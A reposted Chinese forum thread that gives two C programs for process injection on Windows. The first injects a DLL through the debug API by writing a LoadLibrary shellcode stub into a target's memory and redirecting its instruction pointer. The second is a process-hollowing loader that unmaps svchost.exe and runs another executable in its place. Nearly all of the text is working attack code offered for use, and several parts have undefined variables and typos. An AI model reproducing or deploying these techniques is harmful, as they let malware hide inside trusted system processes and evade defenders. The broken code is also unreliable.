[转载]一个向别的进程插入dll的代码
信息来源:cvc--------- Functions in C ---------------
CONTEXT OriginalContext; //Get/SetThreadContext's parameter
char OriginalCodePage[4096];
DWORD sizeofCP=0;
VOID* mySec; //my section...Offset of CodePage in the target process's memory, not this app's memory
BOOL InjectDLL_CreateProcess( char *TargetAPP, char *DLLTOINJECT )
{
BOOL B=FALSE, BREAK1=FALSE, BREAK2=FALSE;
STARTUPINFO sInfo;
PROCESS_INformATION pInfo;
DEBUG_EVENT dEvent;
DWORD ret;
ZeroMemory((VOID*)&sInfo, sizeof(sInfo));
B = CreateProcess(Filename, 0, 0, 0, FALSE, DEBUG_ONLY_THIS_PROCESS, 0, 0, &sInfo, &pInfo);
if(!B) return FALSE;
//-----
///
////
///// We need 3 things, ProcessHandle, ThreadHandle, and BaseOfImage (base address of executable file in memory)
////
///
//-----
HANDLE PHandle=pInfo.hProcess, THandle=pInfo.hThread; // Processhandle, Thread handle
VOID * BaseOfImage;
char DLLTOINJECT[] = "d:\\VCPrj\\MSNInject\\DLL\\Release\\DLL.dll";
while(1)
{
if( !(B = WaitForDebugEvent(&dEvent, INFINITE)) ) //Remember? -- dEvent is a structure that recv'es return of fucntion
return -1;
if(dEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT) //If the debug event was "Process has just been created"
{
BaseOfImage = dEvent.u.CreateProcessInfo.lpBaseOfImage; //Ok, now we have the base address of the exectable file in memory (remember before, when i said that i'll show you how to get it?)
}
if(dEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT) //if process terminated, then break the loop, so that you would exit function
break;
if(dEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT)//Check for breakpoint
{
if(dEvent.u.Exception.ExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT)
{//It is a break point;
if(BREAK1==FALSE)
{//First Breakpoint occured
B = InjectDLL( pInfo.hProcess, pInfo.hThread, BaseOfImage,
DLLTOINJECT); //The magical function, comes after this function
BREAK1 = TRUE;
if(!B)
return FALSE;
}else if(BREAK2==FALSE)
{//Second breakpoint occured (asm instructions have been all done, and int 3h was reached
ret = RestoreOriginalCodePage( PHandle, THandle, 0); //another function to restore
if(ret==0) return FALSE; //uhoh!!! Big big big big error...you need to restore what you have written, but couldn't,,,,i'll leave it to you, cause i, my self donno what to do, other than terminate the target process :P
BREAK2=TRUE;
}
}else
{ //if an Exception occured, and it wasn't a break point, then say DBG_EXCEPTION_NOT_HANDLED
//Because you haven't handled the exception, so let lindows,,i mean, windows handle it..
ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
continue;
}
}//end if
ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_CONTINUE);
//you don't need to handle event,,let it pass
}//end while()
}//end function
////////////////////
next function:
BOOL InjectDLL(HANDLE hProcess, HANDLE hThread, VOID* hModuleBase, char *DllName)
{//You must have debug access to hProcess (required for ReadProcessMemory() & WriteProcessMemory)
FARPROC LoadLibProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "LoadLibraryA");
if(!LoadLibProc) return FALSE;
//This is the entry point addr of LoadLibrary()...It's usually, always the same for any process that loads kernel32.dll
//So unless there is some other explanation, i don't know
//But i personally found that this works all of the time
////////////////////////////////
char CodePage[4096] =
{ 0xB8, 00, 00, 00, 00, // mov EAX, 0h | Pointer to LoadLibraryA() (DWORD)
0xBB, 00, 00, 00, 00, // mov EBX, 0h | DLLName to inject (DWORD)
0x53, // push EBX
0xFF, 0xD0, // call EAX
0x5b, // pop EBX
0xcc // INT 3h
}; //i could have used structS instead, but unfortunatelly, because of many compilers' stupid padding, i didn't >:(
int nob=15; //no of bytes
char *DLLName; //DllName
DWORD *EAX, *EBX; //Look at codepage
DLLName = (char*)((DWORD)CodePage + nob); //Set the pointers
EAX = (DWORD*)( CodePage + 1); //
EBX = (DWORD*) ( CodePage + 6); //
strcpy( DLLName, DllName ); //copy dll name
*EAX = (DWORD)LoadLibProc; //EAX==LoadLibProc
*EBX = nob; // need to do this: *EBX = *EBX + (offset of CodePage)
////////////////////////////
sizeofCP = strlen(DllName) + nob +1; //remember this? --
//Here comes the complicated part, you can use CreateRemoteThread() instead of all this, actually, but unfortunatelly
//it isn't supported in all versions of windows...but i'll tell you how to use it after this code..
//I have an example code that i found from google groups
IMAGE_DOS_HEADER DOShdr;
IMAGE_NT_HEADERS *pNThdr, NThdr;
IMAGE_SECTION_HEADER SecHdr, *pSecHdr;
IMAGE_DATA_DIRECTORY DataDir, *pDataDir; //@@@@@@@@
DWORD dwD, dwD2, read, written;
CONTEXT Context; //GetThreadContext's parameter &&
BOOL B;
Context.ContextFlags = CONTEXT_CONTROL; //look at WINNT.h header file for more information
OriginalContext.ContextFlags = CONTEXT_CONTROL;
if(!GetThreadContext( hThread, &OriginalContext)) //Save original context -- remember that currently the process is totally suspended
{
dwD = GetLastError();
return FALSE;
}
// Check to see if we have valid Headers:
//
/////////Get DOS hdr
B = ReadProcessMemory(hProcess, hModuleBase, &DOShdr, sizeof(DOShdr), &read);
if( (!B) || (read!=sizeof(DOShdr)) ) return FALSE;
if( DOShdr.e_magic != IMAGE_DOS_SIGNATURE ) //Check for `MZ
return FALSE;
//Get NT header
B = ReadProcessMemory( hProcess,
(VOID*)((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew), &NThdr, sizeof(NThdr), &read);
if( (!B) || (read!=sizeof(NThdr)) ) return FALSE;
if( NThdr.Signature != IMAGE_NT_SIGNATURE ) //Check for `PE\0\0
return 0;
// Valid EXE header!
// Look for a usable writable code page: -- this is where you seek the sections for a usable section
//
/////
//
if( (dwD=NThdr.FileHeader.NumberOfSections) < 1 ) //Number of sections must be atleast 1...DUH!!!
return FALSE;//Section table: (after optional header)
pSecHdr = (IMAGE_SECTION_HEADER*)
(
((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew) +
(DWORD)sizeof(NThdr.FileHeader) +
(DWORD)NThdr.FileHeader.SizeOfOptionalHeader + 4
);//@@@@@@@@@@@@@ need to concentrate on this to understand..except the +4,,,i saw that it always needs this,, i spent an hour trying to fix an error, until i noticed this :P...So just do it
B=FALSE;
///////////////////////////////GetModuleHandle(0); //i explained what this does, in part I,,,but unfortunatelly, it's for the dll, not for this exe :P
for( dwD2=0 ; dwD2<dwD ; dwD2++ )
{//iterate sections to look for a writable part of memory and NOT .idata -- because .idata is the import table,,which shouldn't be modified whatsoever -- because NazSoft sez so! :P it's a bit of a long story,,I'm not a super novel to give you all the information u need :P
if( !ReadProcessMemory( hProcess, pSecHdr, &SecHdr, sizeof(SecHdr), &read) )
return FALSE; //i know you might look confused of what you see here...
///////////////////But listen to me when i say that this is not wrong. it is correct
///////////////////pSecHdr points to addr in memory of a section's name,,but not the memory of MY process,
///////////////////but the memory of the other process. If you do *pSecHdr,, you'll get info from you're process
///////////////////mostly, it'll be the same as the other proceess, but if you look closer, you'll see that it's not
///////////////////Base addresses of all dll file's functions are the same in all programs
///////////////////So pSecHdr isn't a true pointer,, just an easier way (so that i don't need to use casting opers alot)
///////////////////to do what i want to do
if(read!=sizeof(SecHdr)) return FALSE; //Make sure correct amount was read in
if(
(SecHdr.Characteristics & IMAGE_SCN_MEM_WRITE) //writable section
&&
( strcmpi((const char*)SecHdr.Name, ".idata")!=NULL ) //not .idata (import data)
) //strcmpi -- the "i" == ignore cases (capital, small letters...)
{
B = TRUE;
break;//OK! found!!
}
pSecHdr++;
}
if(!B)
return FALSE; //couldn't find usable code page!
//
/////
//Found a section: (SecHdr.VirtualAddress + (DWORD)hModuleBase)
mySec = (VOID*)(SecHdr.VirtualAddress + (DWORD)hModuleBase); //Remember this global var?
//This is where the asm instructions shuold go
*EBX = *EBX + (DWORD)mySec; //also remember this??? look at the top of the function
if(!ReadProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &read) )
return FALSE; //Read the stuff in memory, so that you can restore it
if(read != sizeofCP)
return FALSE;
//so now, yuou will have already saved the memory that you're going to modify, and the thread's context (registers)
//we'll restore them later..
//Now starts the mega part! (If an error occurs here, god knows what might happen!
B = WriteProcessMemory( hProcess, mySec, CodePage, sizeofCP, &written);
if( (written!=0) && (written!=sizeofCP) ) //Uh oh!, System crash might occur now!
{//****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY****
WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written);
// Try to save what you can, and return back to memory
return FALSE; //might not have worked, so, big s***!
}
if((!B) || (written!=sizeofCP))
return FALSE;
//Ok, injected successfully,
//You MUST call function RestoreOriginalCodePage() function upon the following breakpoint!
Context = OriginalContext;
Context.Eip = (DWORD)mySec; //Change EIP
B = SetThreadContext(hThread, &Context); //Change EIP
if(!B) return FALSE; //Lol, it would be funny to get an error here,,,all that goes to waste, and you need to restore what ever it ist hat you chagned :S :S :S
return 1;
}
//OK go back to InjectDLL_CreateProcess() ... Look at the second break point section:
/*
ret = RestoreOriginalCodePage( PHandle, THandle, 0); //another function to restore
if(ret==0) return FALSE;
//uhoh!!! Big big big big error...you need to restore what you have written, but couldn't,,,,
//i'll leave it to you, cause i, my self donno what to do, other than terminate the target process :P
BREAK2=TRUE;
*/
OK, so lets have a look at RestoreOriginalCodePage():
*******
Notepad is giving me a headache right now, keeps saying not enough memory.. :P :P
*******
I'm typing the rest in c:\windows\edit.com program --i love this thing :P
//return values:
//
// if 0 -> successful
// if -1 -> (0xFFFFFFFF) WriteProcessMemory returned FALSE
// else -> Amount of bytes written + 1
// (to get exact amount of bytes written, you must decrement return value by one!)
//
DWORD RestoreOriginalCodePage( HANDLE hProcess, HANDLE hThread, DWORD *outSize )
{
BOOL B;
DWORD written;
CONTEXT Context;
if(outSize) *outSize = sizeofCP; //Just for user's info
Context.ContextFlags = CONTEXT_FULL; //look at winnt.h
GetThreadContext( hThread, &Context); //Get current thread context
//This isn't required, it's just for you to check the return
//value of LoadLibrary()
////It is in the EAX register (Context.Eax)
B = WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written );
//Restore original codepage
if(!B) return -1;
if(written!=sizeofCP)
return written+1;
//Restore context (EIP)
B=SetThreadContext( hThread, (CONST CONTEXT*)&OriginalContext);
if(!B) return -1;
return 0;
} 主帖子方法实践起来不大好用。
下面给出vxk的一个相关的代码/
/* 在进程空间中插入另一个进程的代码细节化
作者: vxk
在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术,
不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的
技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的......
*/
[code]#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"
struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};
struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};
struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};
struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};
struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};
struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};
#define TARGETPROC "svchost.exe" ;
typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;
BOOL EXPD = False ;
CHAR *PID;
//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
if(fileSize < sizeof(MZHeader))
{
printf("File size too small\n");
return false;
}
// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);
if(mzH.signature != 0x5a4d) // MZ
{
printf("File does not have MZ header\n");
return false;
}
printf("Offset to PE Header = %X\n", mzH.offsetToPE);
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
printf("File size too small\n");
return false;
}
// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);
printf("Size of option header = %d\n", peH.sizeOfOptionHeader);
printf("Number of sections = %d\n", peH.numSections);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
printf("Unexpected option header size.\n");
return false;
}
// read PE Ext Header
PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
printf("Import table address = %X\n", peXH.importTableAddress);
printf("Import table size = %X\n", peXH.importTableSize);
printf("Import address table address = %X\n", peXH.importAddressTableAddress);
printf("Import address table size = %X\n", peXH.importAddressTableSize);
// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;
return true;
}
//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;
if(inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].virtualSize)
{
if(inSecHdr[i].virtualSize % alignment == 0)
result += inSecHdr[i].virtualSize;
else
{
int val = inSecHdr[i].virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}
return result;
}
//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;
fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;
// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].pointerToRawData < headerSize)
headerSize = inSecHdr[i].pointerToRawData;
}
// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d\n", headerSize);
if(readSize != headerSize)
{
printf("Error reading headers (%d %d)\n", readSize, headerSize);
return false;
}
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
// read the sections
for(i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].sizeOfRawData > 0)
{
unsigned long toRead = inSecHdr[i].sizeOfRawData;
if(toRead > inSecHdr[i].virtualSize)
toRead = inSecHdr[i].virtualSize;
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead)
{
printf("Error reading section %d\n", i);
return false;
}
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
else
{
// this handles the case where the PE file has an empty section. E.g. UPX0 section
// in UPXed files.
if(inSecHdr[i].virtualSize)
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
}
return true;
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
long delta = newBase - inpeXH->imageBase;
while(fixBlk->blockSize)
{
printf("Addr = %X\n", fixBlk->pageRVA);
printf("Size = %X\n", fixBlk->blockSize);
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
printf("Num Entries = %d\n", numEntries);
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i < numEntries; i++)
{
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
int relocType = (*offsetPtr & 0xF000) >> 12;
printf("Val = %X\n", *offsetPtr);
printf("Type = %X\n", relocType);
if(relocType == 3)
*codeLoc = ((DWORD)*codeLoc) + delta;
else
{
printf("Unknown relocation type = %d\n", relocType);
}
offsetPtr++;
}
fixBlk = (FixupBlock *)offsetPtr;
}
}
}
//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
{
if(CreateProcess(NULL, TARGETPROC,
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo = (DWORD *)ctx->Ebx;
DWORD read;
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
DWORD curAddr = outChildProcInfo->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
{
if(memInfo.State == MEM_FREE)
break;
curAddr += memInfo.RegionSize;
}
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
return TRUE;
}
} else
{
DEBUG_EVENT DBEvent;
if(DebugActiveProcess((DWORD)*PID))
{
WaitForDebugEvent(&DBEvent,INFINITE);
pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo2 = (DWORD *)ctx->Fs;
*pedInfo2+=0x30;
DWORD read2;
ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);
DWORD curAddr2 = outChildProcInfo2->baseAddr;
MEMORY_BASIC_INFORMATION memInfo2;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
{
if(memInfo2.State == MEM_FREE)
break;
curAddr2+= memInfo2.RegionSize;
}
outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;
return TRUE;
}
}
return FALSE;
}
//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
// thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;
if(createChild(&pi, &ctx, &childInfo))
{
printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId);
printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize);
LPVOID v = (LPVOID)NULL;
if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
{
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
// overwrite it in memory
v = (LPVOID)childInfo.baseAddr;
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v);
}
else
{
// get address of ZwUnmapViewOfSection
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// try to unmap the original EXE image
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
{
// allocate memory for the new EXE image at the prefered imagebase.
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v);
}
}
if(!v && hasRelocationTable(inpeXH))
{
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
// location
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
{
printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v);
// we've got to do the relocation ourself if we load the image at another
// memory location
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}
printf("EIP = %X\n", ctx.Eip);
printf("EAX = %X\n", ctx.Eax);
printf("EBX = %X\n", ctx.Ebx); // EBX points to PEB
printf("ECX = %X\n", ctx.Ecx);
printf("EDX = %X\n", ctx.Edx);
if(v)
{
printf("New EXE Image Size = %X\n", imageSize);
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
DWORD *pebInfo = (DWORD *)ctx.Ebx;
DWORD wrote;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
// patch the base addr in the PE header of the EXE that we load ourselves
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
peXH->imageBase = (DWORD)v;
if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
{
printf("New EXE image injected into process.\n");
ctx.ContextFlags=CONTEXT_FULL;
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
if((DWORD)v == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
else
{
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
// performed.
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
printf("********> EIP = %X\n", ctx.Eip);
printf("********> EAX = %X\n", ctx.Eax);
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
printf("Process resumed (PID = %d).\n", pi.dwProcessId);
}
else
{
printf("WriteProcessMemory failed\n");
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("Load failed. Consider making this EXE relocatable.\n");
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("Cannot load %s\n", TARGETPROC);
}
}
int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
printf("\nUsage: %s [pid]\n", argv[0]);
return 1;
}
if(argc==3){
alloc(PID,1024);
memset(PID,0,1024);
strcpy(PID,argv[2]);
EXPD= True ;
}
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader *secHdr;
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
{
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
printf("Image Size = %X\n", imageSize);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(ptrLoc)
{
printf("Memory allocated at %X\n", ptrLoc);
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
}
else
printf("Allocation failed\n");
}
fclose(fp);
}
else
printf("\nCannot open the EXE file!\n");
return 0;
}[/code]
页:
[1]